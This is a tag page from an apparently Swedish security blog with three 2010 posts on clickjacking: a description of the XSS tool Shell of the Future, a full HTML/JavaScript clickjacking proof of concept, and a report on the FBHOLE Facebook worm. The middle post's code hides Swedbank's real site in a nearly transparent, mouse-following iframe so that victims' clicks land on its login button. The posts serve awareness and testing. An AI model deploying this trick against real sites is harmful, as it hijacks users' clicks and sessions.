Visar inlägg med etikett Clickjacking. Visa alla inlägg
Visar inlägg med etikett Clickjacking. Visa alla inlägg

onsdag 21 juli 2010

XSS-verktyg: Shell of the Future

Lavakumar Kuppan från Attack and Defense Labs har släppt ett intressant XSS-verktyg: Shell of the Future. Tanken är att hjälpa pentestare att bevisa hur farliga XSS-sårbarheter är.

Klientskript kommunicerar med cross-origin request
Som attackerare sätter du upp en server vilken kommer utgöra din kontrollstation. Sen planterar du en av två färdiga skript mha XSS-sårbarheten. Genom cross-origin request (del av HTML5) så låter nu skriptet dig surfa sömlöst med offrets session.

Clickjacking för att behålla skriptet lajv
I många fall så har attackeraren en begränsad tidslucka då hans/hennes elaka skript lever i offrets session. Så fort offret klickar vidare så laddas en sida som inte innehåller det elaka skriptet och tidsluckan är förbi.

För att underlätta så har Lava gjort en variant av Shell of the Future-skriptet som använder clickjacking för att stjäla offrets klick och öppna länken i en ny flik istället. På det viset så lever attackskriptet kvar i den gamla fliken och attackeraren kan fortsätta surfa med offrets session.

måndag 14 juni 2010

Clickjacking-exempel

Efter att ha läst RSnakes blogginlägg idag om hur reflekterad XSS kan utnyttjas för clickjackingattacker blev jag sugen på att publicera ett litet clickjacking-exempel här. Tweakade lite från RSnakes exempel och ordnade en iframe som gör att offret klickar på inloggningsknappen till Swedbank istället för på den sajt han/hon är.

Genom att göra den döljande iframe:en lite genomskinlig så syns attacken:


Koden (klistra in i en html-fil och testa på din egen burk, bara testat i Firefox):

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html> <head>
<title>Clickjacking</title>
</head>

<body>
<h1>Clickjacking</h1>

<img src="http://owasp.se/owasp_appsec_research_2010_logo_by_daniel_kozlowski.jpg">

<button type="button">Logga in</button>

<script type="text/javascript">
// Skapa en iframe som ska dölja det
// vi vill att offret ska klicka på
a = document.body.appendChild(document.createElement("iframe"));
a.d = a.contentDocument;
a.d.open().close();
a.style.width = 85;
a.style.height = 30;
// Skapa en iframe som ramar in det
// vi vill att offret klickar på
i = a.d.createElement("iframe");
a.style.border = i.style.border = 0;
a.style.marginwidth = i.style.marginwidth = 0;
a.style.marginheight = i.style.marginheight = 0;
a.style.frameborder = i.style.frameborder = 1;
a.style.position = i.style.position = "absolute";
a.style.overflow = i.style.overflow = "hidden";
// Gör den döljande iframe:en nästan
// ogenomskinlig för att tydliggöra exemplet
a.style.opacity = .2;
// Vårt exempel riktar sig mot Swedbank men
// skulle lika gärna kunna vara en annan sida
i.src = "http://www.swedbank.se/";
i.style.width = 815;
i.style.height = 30;
i.style.left = -735;
i.style.top = 0;
i.style.marginwidth = 0;
i.style.marginheight = 0;
i.style.frameborder = 1;
// Lägg till Swedbank-iframe:en till
// den döljande iframe:en
a.d.body.appendChild(i);
// Skapa en funktion som låter den
// döljande iframe:en följa muspekaren
function followmouse(e) {
xcoord = ycoord = 40;
xcoord += e.pageX - 50;
ycoord += e.pageY - 50;
a.style.left = xcoord;
a.style.top = ycoord;
}
// Följ muspekaren med den döljande
// iframe:en
document.onmousemove=followmouse;
</script>

</body> </html>

fredag 21 maj 2010

Clickjacking-attack mot Facebook

En mask kallad FBHOLE spred sig som en löpeld på Facebook igår och idag. Tydligen använder den sig av clickjacking. F-Secure beskriver det hela bra.

Någon av dina redan drabbade FB-vänner postar ett meddelande:
"try not to laugh xD http://www.fbhole. com/omg/allow.php?s=a&r=[slumptal]"

Om du klickar så får du upp en sida som ser ut som Facebook men visar ett fejkat felmeddelande:


Om du klickade någonstans på den sidan så postade du fbhole.com-länken på din Facebook-profil och masken fortsätter att sprida sig (förutsatt att du är inloggad på FB). fbhole.com fångar ditt klick med en transparent iframe som skickar klicket till Facebook istället.

Domänen registererades igår och pekar på en tjeckisk IP-adress. Sajten ironbrain.net har samma IP.

Mikko Hypponen på F-Secure ringde Ironbrain som lät tämligen förvånade. En stund senare var fbhole.com borta från nätet.

Vi kommer ha en intressant presentation om clickjacking på sommarens konferens i Stockholm (se passet kl 15:30).